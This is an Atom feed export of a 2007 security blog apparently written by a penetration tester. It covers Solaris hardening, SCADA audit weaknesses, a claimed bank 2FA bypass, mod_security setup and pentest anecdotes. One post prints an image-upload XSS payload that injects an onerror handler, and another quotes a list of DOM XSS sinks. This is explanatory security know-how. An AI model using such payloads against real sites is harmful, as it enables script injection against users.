width='72'/><thr:total>191</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5947613246797400224</id><published>2007-11-25T19:31:00.000+08:00</published><updated>2007-11-25T20:03:06.816+08:00</updated><title type='text'>Old School Oracle Auditing</title><content type='html'>I was again reading for hacking articles and one of the article "Simple Oracle Auditing" caught my attention. Well, its an old article but its still fun to read and learn from the gurus. Check it out guys: &lt;a href="http://www.securityfocus.com/infocus/1689"&gt;http://www.securityfocus.com/infocus/1689&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5947613246797400224?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5947613246797400224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5947613246797400224' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5947613246797400224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5947613246797400224'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/old-school-oracle-auditing.html' title='Old School Oracle Auditing'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1163400877522539081</id><published>2007-11-22T07:59:00.000+08:00</published><updated>2007-11-22T08:20:42.546+08:00</updated><title type='text'>7 steps to better Solaris Network Settings</title><content type='html'>I was auditing one of our customer again and this time round, i managed to come up with a 7 step guide to better secure the TCP stack for Solaris. Well, you guys can add on for more.&lt;br /&gt;&lt;br /&gt;1. Configure for more random TCP sequence number generation. Check that in(/etc/default/inetinit), the TCP_STRONG_ISS is set to 2.  For instance, TCP_STRONG_ISS=2&lt;br /&gt;&lt;br /&gt;2. IP forwarding is to be turned off to prevent the machine acting as a router. To disable IP forwarding, a file "/etc/notrouter" need to be present.  If the file is missing, issue the following command to create one : touch /etc/notrouter&lt;br /&gt;&lt;br /&gt;To prevent dynamic routes updates via the network, move "in.routed" and "in.rdisc" away from "/usr/sbin" directory by perform the following commands :&lt;br /&gt;mv /usr/sbin/in.routed /export/home/cfgh/base&lt;br /&gt;mv /usr/sbin/in.rdisc /export/home/cfgh/base&lt;br /&gt;&lt;br /&gt;3. Change default kernel IP settings for better security. Following the following steps to change the kernel IP defaults values :&lt;br /&gt;&lt;br /&gt;Setup files and environment:&lt;br /&gt;touch /etc/init.d/exconfig&lt;br /&gt;ln -s /etc/init.d/exconfig /etc/rc2.d/S70exconfig&lt;br /&gt;chmod 744 /etc/init.d/exconfig /etc/rc2.d/S70exconfig&lt;br /&gt;  &lt;br /&gt;Edit file "/etc/init.d/exconfig" and add the following lines:&lt;br /&gt;#!/bin/sh&lt;br /&gt;# /etc/init.d/exconfig&lt;br /&gt;RELEASE=`/usr/bin/uname -r`&lt;br /&gt;release7 ()&lt;br /&gt;{&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_forwarding 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_strict_dst_multihoming 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_send_redirects 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_ignore_redirect 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_forward_src_routed 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_forward_directed_broadcasts 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_respond_to_echo_broadcast 0&lt;br /&gt;/usr/sbin/ex -set /dev/tcp tcp_conn_req_max_q0 4096&lt;br /&gt;/usr/sbin/ex -set /dev/tcp tcp_ip_abort_cinterval 60000&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_respond_to_timestamp 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_respond_to_timestamp_broadcast 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_respond_to_address_mask_broadcast 0&lt;br /&gt;/usr/sbin/ex -set /dev/arp arp_cleanup_interval 60000&lt;br /&gt;id -a mqm &gt; /dev/null 2&gt;&amp;1&lt;br /&gt;if [ \$? -eq 0 ]&lt;br /&gt;then&lt;br /&gt;/usr/sbin/ex -set /dev/tcp tcp_keepalive_interval 600000&lt;br /&gt;fi&lt;br /&gt;}&lt;br /&gt;release8 ()&lt;br /&gt;{&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip6_forwarding 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip6_strict_dst_multihoming 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip6_send_redirects 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip6_ignore_redirect 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip6_forward_src_routed 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_ire_arp_interval 60000&lt;br /&gt;}&lt;br /&gt;release6 ()&lt;br /&gt;{&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_respond_to_echo_broadcast 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_forward_directed_broadcasts 0&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_strict_dst_multihoming 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_ignore_redirect 1&lt;br /&gt;/usr/sbin/ex -set /dev/ip ip_forward_src_routed 0&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if [ \$RELEASE = "5.7" ]&lt;br /&gt;then&lt;br /&gt;        release7&lt;br /&gt;elif [ \$RELEASE = "5.8" ] || [ \$RELEASE = "5.10" ] || [ \$RELEASE = "5.9" ]&lt;br /&gt;then&lt;br /&gt;        release7&lt;br /&gt;        release8&lt;br /&gt;elif [ \$RELEASE = "5.6" ]&lt;br /&gt;then&lt;br /&gt;        release6&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;4. Disable multicast from the server, edit the file "/etc/rc2.d/S72inetsvc" and comment out/remove the following lines :&lt;br /&gt;#(&lt;br /&gt;#if [ "$_INIT_NET_STRATEGY" = "dhcp" ]; then&lt;br /&gt;#   mcastif=`/sbin/dhcpinfo Yiaddr` || mcastif=$_INIT_UTS_NODENAME&lt;br /&gt;#else&lt;br /&gt;#   mcastif=$_INIT_UTS_NODENAME&lt;br /&gt;#fi&lt;br /&gt;#&lt;br /&gt;#echo "Setting default Ipv4 interface for multicase:" \&lt;br /&gt;#  "add net 224.0/4: gateway $mcastif&lt;br /&gt;#&lt;br /&gt;#/usr/sbin/route -n add -interface "224.0/4" "$mcastif"  &gt;/dev/null&lt;br /&gt;#)&amp;&lt;br /&gt;&lt;br /&gt;For Solaris 10&lt;br /&gt;Multicast would be disabled using /etc/rc2.d/S72inetsvc-os10&lt;br /&gt;&lt;br /&gt;5. Denial of Service Prevention System Settings.&lt;br /&gt;Services that  must be disabled on  all servers, unless required by business function from /etc/services. Services include: ftp-data ftp tftp pop2 pop3 pop-2 nntp chargen daytime discard echo finger talk who whois new-rwho klogin eklogin telnet systat netstat time&lt;br /&gt;&lt;br /&gt;6. Prevent "core dump" generated by inetd as it may contain login information.  This could be achieved by editing the file "/etc/rc2.d/S72inetsvc". Change the line :&lt;br /&gt;/usr/sbin/inetd -s &amp;&lt;br /&gt;to /usr/bin/ulimit -c 0; /usr/sbin/inetd -s -t &amp;&lt;br /&gt;Note : &lt;br /&gt;ulimit -c 0 : set the core file size to 0 byte&lt;br /&gt;inetd -s -t : stand-alone server with tracing of all tcp connections&lt;br /&gt;&lt;br /&gt;For Solaris 10&lt;br /&gt;Create the script /etc/rc2.d/S72inetsvc-os10 as per below. &lt;br /&gt;#cat /etc/rc2.d/S72inetsvc-os10&lt;br /&gt;IPADDR=`netstat -nr | grep -w 224.0.0.0 | awk '{print $2}'`&lt;br /&gt;/usr/sbin/route -n delete -interface "224.0/4" $IPADDR&lt;br /&gt;/usr/sbin/svcadm enable inetd&lt;br /&gt;/usr/sbin/inetadm -M tcp_trace=TRUE&lt;br /&gt;#chmod 555 /etc/rc2.d/S72inetsvc-os10&lt;br /&gt;&lt;br /&gt;7. .netrc files System Settings (.netrc files, .netrc files in root’s home directory). Files are not permitted, remove the files if any, issue command find / -name .netrc -print&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1163400877522539081?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1163400877522539081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1163400877522539081' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1163400877522539081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1163400877522539081'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/7-steps-to-better-solaris-network.html' title='7 steps to better Solaris Network Settings'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7705613907536080571</id><published>2007-11-21T08:49:00.000+08:00</published><updated>2007-11-21T08:56:18.854+08:00</updated><title type='text'>Hacking Iphone the fun way</title><content type='html'>I got my iphone and i know there are exploits and vulnerabilities in it discovered by H.D Moore, creator of metasploit. However i wasn't too enthusiastic about the damage that this exploit can do but more into the fun aspect aspect of how to install new 3rd party application in phone. I know that you can install hacking tools too, but thats not my goal. Why install those tools when you can install it in the PC? Anyway, I managed to unlock the phone with a few help and of course start using it. It is the coolest phone out on the planet and of course with the video below, i managed to install more applications in my phone. Check it out.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ZgITSfrEILQ&amp;rel=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ZgITSfrEILQ&amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7705613907536080571?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7705613907536080571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7705613907536080571' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7705613907536080571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7705613907536080571'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/hacking-iphone-fun-way.html' title='Hacking Iphone the fun way'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2183111735016863153</id><published>2007-11-20T09:44:00.000+08:00</published><updated>2007-11-20T10:48:52.993+08:00</updated><title type='text'>Hacking SCADA</title><content type='html'>While i was in Dubai, i got a chance to visit one of our customers who was using SCADA. Back then, it was so new to me and i have no idea of how to actually audit it. Back here in Singapore, i got another chance to actually test and audit SCADA systems and this time round, i found a way to actually break the application and network apart. However, i have to be very careful during the audit, as one wrong move may affect the whole of Singapore.&lt;br /&gt;&lt;br /&gt;So what is SCADA? SCADA stands for Supervisory Control and Data Acquisition and they are the systems that deliver water, power supply, gas and some other items to your home. Check out &lt;a href="http://en.wikipedia.org/wiki/SCADA"&gt;http://en.wikipedia.org/wiki/SCADA&lt;/a&gt; if you would love to read more about it. There had been incidents where SCADA systems had been hacked and information was stolen by terrorist. Also, internet worms like the Slammer worm also affected the systems and cause a total DoS. Why is all these happening? All i can say is either because those systems are exposed to the internet or they are using proprietary protocols and they think that they are safe from hackers and doesnt care about it. Those people working in SCADA are so wrong, they doesnt bother about security at all, and i guess its because something disturbing might have happen and only then they start to panic and need people like us to audit their systems.&lt;br /&gt;&lt;br /&gt;SCADA uses their own proprietary protocols like DNP3, OPC, Modbus, DCS, etc, and its possible to use Wireshark to actually monitor the traffic and see how the handshaking process work. By observing the handshake, i realised that it was possible to perform man in the middle attacks, but of course would require developing of some tools to perform the job. Some other attacks that are possible include DoS, capturing of username and password, injecting worms and virus and many other old school techniques.&lt;br /&gt;&lt;br /&gt;The problems with SCADA:&lt;br /&gt;1. Windows &amp; Linux Vulnerabilities&lt;br /&gt;2. Not patched regularly – maximum uptime needed&lt;br /&gt;3. Denial of Service Attack&lt;br /&gt;4. Continuous string of reboot command&lt;br /&gt;5. No Authentication&lt;br /&gt;6. No Accounting&lt;br /&gt;7. Traffic sent in clear text (username &amp; password)&lt;br /&gt;8. No encryption&lt;br /&gt;&lt;br /&gt;To Pentest on SCADA systems, you can do the following:&lt;br /&gt;1. Port Scanning&lt;br /&gt;2. OS Fingerprinting&lt;br /&gt;3. Vulnerability Scanning&lt;br /&gt;4. Exploitation&lt;br /&gt;5. Credentials Guessing&lt;br /&gt;6. Sniffing &lt;br /&gt;7. Fuzzing&lt;br /&gt;&lt;br /&gt;Of course there are many other possibilities for pentesting SCADA systems. I for sure want another session with SCADA because it is so fun having to touch on mission critical systems that can affect the whole country. There are tons and tons of possibilities and problems with SCADA and i have just outline a few obvious ones. Of course, you got to be in the SCADA environment if you actually want to discover more possibilities, but then again, do we have such chances everyday?&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2183111735016863153?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2183111735016863153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2183111735016863153' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2183111735016863153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2183111735016863153'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/hacking-scada.html' title='Hacking SCADA'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1663451231563456943</id><published>2007-11-19T09:24:00.000+08:00</published><updated>2007-11-19T09:51:56.624+08:00</updated><title type='text'>Two factor authentication bypassed</title><content type='html'>It had been a long fortnight and i have not finished writing my report for various banks. It was really that much report to write and especially for one specific particular bank. I managed to bypass the security control mechanism setup by this bank and steal the username and password of any user.&lt;br /&gt;&lt;br /&gt;Most of the banks here in Singapore practised two factor authentication and for most people, they think that it is secure because of the extra added security. However, a PoC was released to the bank depicting to them that it was possible to bypass the security control mechanism and it was possible to capture the username and password of any user. I am sorry guys, i am not supposed to leak out any information here. It is very sensitive from the bank's point of view. The best part of the exploit was there was no XSS or sql injection or any sorts of vulnerability that facilitate this exploit. It was purely just information gathered during the passive information gathering exercise.&lt;br /&gt;&lt;br /&gt;I was browsing their site and i discovered a section where some information could help me facilitate the research of writing the exploit. I had an albeit pedantic thought when i saw that particular section. I was thinking that with all that information, i am definitely able to bypass the security mechanism. However to do that, i would require someone else to write the code for me with my ideas. Nevertheless, within a week, i managed to come out with a PoC and display a great deal of demostration. Guys, i know you want to know the details, but i simply can't reveal anything because of the Non Disclosure Agreement I signed. All i can say is passive information gathering is a very important exercise when trying to attack huge organizaton and guys can spend hours and days writing a cool exploit, with me, all i need is total observation and i got the results i want with ease. Why bother to go all the way to do something difficult when something easy can be accomplished faster??&lt;br /&gt;&lt;br /&gt;I would love to attach a screenshot of what i managed to captured, but then again, it is too sensitive. I am sorry, but just know that it is possible to bypass 2FA.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1663451231563456943?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1663451231563456943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1663451231563456943' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1663451231563456943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1663451231563456943'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/two-factor-authentication-bypassed.html' title='Two factor authentication bypassed'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8964266155755870995</id><published>2007-11-17T21:34:00.000+08:00</published><updated>2007-11-21T08:40:08.803+08:00</updated><title type='text'>Image upload xss</title><content type='html'>Also, i stumble across an old blog post by rsnake where it was possible to execute XSS on an upload function.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ha.ckers.org/blog/20070603/image-upload-xss/"&gt;http://ha.ckers.org/blog/20070603/image-upload-xss/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pstgroup.blogspot.com/2007/06/tipsimage-upload-xss.html"&gt;http://pstgroup.blogspot.com/2007/06/tipsimage-upload-xss.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;an example of something you might test for:&lt;br /&gt;&lt;br /&gt;&lt;IMG SRC="$filename"&gt;&lt;br /&gt;&lt;br /&gt;So you upload this file:&lt;br /&gt;&lt;br /&gt;http://ha.ckers.org/image-xss/"onerror="alert('XSS')"a=".jpg&lt;br /&gt;&lt;br /&gt;This ends up making the page look like:&lt;br /&gt;&lt;br /&gt;&lt;IMG SRC=""onerror="alert('XSS')"a=".jpg"&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8964266155755870995?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8964266155755870995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8964266155755870995' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8964266155755870995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8964266155755870995'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/image-upload-xss.html' title='Image upload xss'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-9180123455453391155</id><published>2007-11-17T21:23:00.000+08:00</published><updated>2007-11-17T21:32:54.835+08:00</updated><title type='text'>DOM Based XSS</title><content type='html'>I was reading Amit Klein's 2005 article on DOM Based XSS and he actually mentioned a few things to look out for in DOM XSS. In that article, he gave us an insight look of how to look for potential XSS in the DOM and why sanitizing is important on the client side. &lt;br /&gt;&lt;br /&gt;The full article is here: &lt;a href="http://www.webappsec.org/projects/articles/071105.html"&gt;http://www.webappsec.org/projects/articles/071105.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Below is a snippet:&lt;br /&gt;&lt;br /&gt;2. Analyzing and hardening the client side (Javascript) code. Reference to DOM objects that may be influenced by the user (attacker) should be inspected, including (but not limited to):&lt;br /&gt;&lt;br /&gt;document.URL&lt;br /&gt;document.URLUnencoded&lt;br /&gt;document.location (and many of its properties)&lt;br /&gt;document.referrer&lt;br /&gt;window.location (and many of its properties)&lt;br /&gt;Note that a document object property or a window object property may be referenced syntactically in many ways - explicitly (e.g. window.location), implicitly (e.g. location), or via obtaining a handle to a window and using it (e.g. handle_to_some_window.location).&lt;br /&gt;&lt;br /&gt;Special attention should be given to scenarios wherein the DOM is modified, either explicitly or potentially, either via raw access to the HTML or via access to the DOM itself, e.g. (by no means an exhaustive list, there are probably various browser extensions):&lt;br /&gt;&lt;br /&gt;Write raw HTML, e.g.:&lt;br /&gt;document.write(…)&lt;br /&gt;document.writeln(…)&lt;br /&gt;document.body.innerHtml=…&lt;br /&gt;Directly modifying the DOM (including DHTML events), e.g.:&lt;br /&gt;document.forms[0].action=… (and various other collections)&lt;br /&gt;document.attachEvent(…)&lt;br /&gt;document.create…(…)&lt;br /&gt;document.execCommand(…)&lt;br /&gt;document.body. … (accessing the DOM through the body object)&lt;br /&gt;window.attachEvent(…)&lt;br /&gt;Replacing the document URL, e.g.:&lt;br /&gt;document.location=… (and assigning to location’s href, host and hostname)&lt;br /&gt;document.location.hostname=…&lt;br /&gt;document.location.replace(…)&lt;br /&gt;document.location.assign(…)&lt;br /&gt;document.URL=…&lt;br /&gt;window.navigate(…)&lt;br /&gt;Opening/modifying a window, e.g.:&lt;br /&gt;document.open(…)&lt;br /&gt;window.open(…)&lt;br /&gt;window.location.href=… (and assigning to location’s href, host and hostname)&lt;br /&gt;Directly executing script, e.g.:&lt;br /&gt;eval(…)&lt;br /&gt;window.execScript(…)&lt;br /&gt;window.setInterval(…)&lt;br /&gt;window.setTimeout(…)&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-9180123455453391155?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/9180123455453391155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=9180123455453391155' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9180123455453391155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9180123455453391155'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/dom-based-xss.html' title='DOM Based XSS'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5054739507812686305</id><published>2007-11-16T08:33:00.001+08:00</published><updated>2007-11-16T09:36:25.686+08:00</updated><title type='text'>Deadly execution in huge Financial Company</title><content type='html'>I was auditing one of the biggest financial company in the world and here in the Singapore branch, it was just really bad. I was playing around with the software and noticed an uploading function. With evil thoughts in my mind, i quickly wanted to see if this application does allow uploading of exe, bat or some other executable files. To my wildest surprise, it does allow the uploading of exe files and i tell you, i could upload any sorts of trojan or virus and execute it on the client's pc. I actually did upload an exe program and tried execute it on the client's pc and it did execute the program accordingly and smoothly with no protection on the client's pc. It was really just bad. Moreover, the application itself also does allow command execution on the querystring which was really an eye opener. It was just a lucky day with my audit and an unlucky day for the customer. Report had been submitted and lets hope they will rectify the problem to avoid any attacks. &lt;br /&gt;&lt;br /&gt;Check out for my next post on Two Factor Authentication Man in the Middle attack PoC&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5054739507812686305?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5054739507812686305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5054739507812686305' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5054739507812686305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5054739507812686305'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/deadly-execution-in-huge-financial.html' title='Deadly execution in huge Financial Company'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4628397501588199598</id><published>2007-11-15T09:15:00.000+08:00</published><updated>2007-11-15T09:31:36.205+08:00</updated><title type='text'>Basics of Mod_Security</title><content type='html'>This past week, i was auditing a customer's web server defence against web attacks and i realised that he did not install mod_security as one of their modules in the server. Well, considering it is a huge customer, they should at least do some basic filtering using mod_security since their servers are running on linux. I had mentioned about mod_security in my previous post and for those who are still not sure what it is, mod_security is a web application firewall that is an Apache Web Server add-on module that provides intrusion detection, content filtering, and web-based attack protection. It is good at detecting and stopping many known web attacks, such as many SQL injection type attacks, cross-site scripting, directory traversal type attacks, and many others. Below is a snippet of a simple basic mod_security configuration:&lt;br /&gt;&lt;br /&gt;&lt;IfModule mod_security.c&gt;&lt;br /&gt;# Turn the filtering engine On or Off&lt;br /&gt;SecFilterEngine On&lt;br /&gt;&lt;br /&gt;# Make sure that URL encoding is valid&lt;br /&gt;SecFilterCheckURLEncoding On&lt;br /&gt;&lt;br /&gt;# Unicode encoding check&lt;br /&gt;SecFilterCheckUnicodeEncoding On&lt;br /&gt;&lt;br /&gt;# Only allow bytes from this range&lt;br /&gt;SecFilterForceByteRange 0 255&lt;br /&gt;&lt;br /&gt;# Only log actionable requests&lt;br /&gt;SecAuditEngine RelevantOnly&lt;br /&gt;&lt;br /&gt;# The name of the audit log file&lt;br /&gt;SecAuditLog /var/log/apache2/audit_log&lt;br /&gt;&lt;br /&gt;# Debug level set to a minimum&lt;br /&gt;SecFilterDebugLog /var/log/apache2/modsec_debug_log&lt;br /&gt;SecFilterDebugLevel 2&lt;br /&gt;&lt;br /&gt;# Should mod_security inspect POST payloads&lt;br /&gt;SecFilterScanPOST On&lt;br /&gt;&lt;br /&gt;# By default log and deny suspicious requests&lt;br /&gt;# with HTTP status 500&lt;br /&gt;SecFilterDefaultAction "deny,log,status:500"&lt;br /&gt;&lt;br /&gt;# Add custom secfilter rules here&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;&lt;br /&gt;Of course, you can add on more items and it depends on what you need it to filter and protect. Mod_Security does come with a performance cost, however, the security benefits far outweight the performance cost. Do consider using it.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4628397501588199598?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4628397501588199598/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4628397501588199598' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4628397501588199598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4628397501588199598'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/basics-of-modsecurity.html' title='Basics of Mod_Security'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-300728938894504204</id><published>2007-11-15T00:39:00.000+08:00</published><updated>2007-11-15T00:47:34.407+08:00</updated><title type='text'>No hacking activites</title><content type='html'>Been really busy with all the results i got from my projects and pretty occupied with report writing. I am handling a few projects currently and well, there ain't anytime for me to research or perform any sorta testing or hacking. This is good in the sense that it keeps me busy and at least i feel "useful" to my company in the sense that i am performing audits for our customers during this peak period. I will definitely resume back to the hacking mode soon and check out for more cool ill street hacking. As of blogging now, i am still writing long unfinished reports. Reports are piling up if i don't start doing it. Till then, stay tuned for my next installment.&lt;br /&gt;&lt;br /&gt;The Hacka 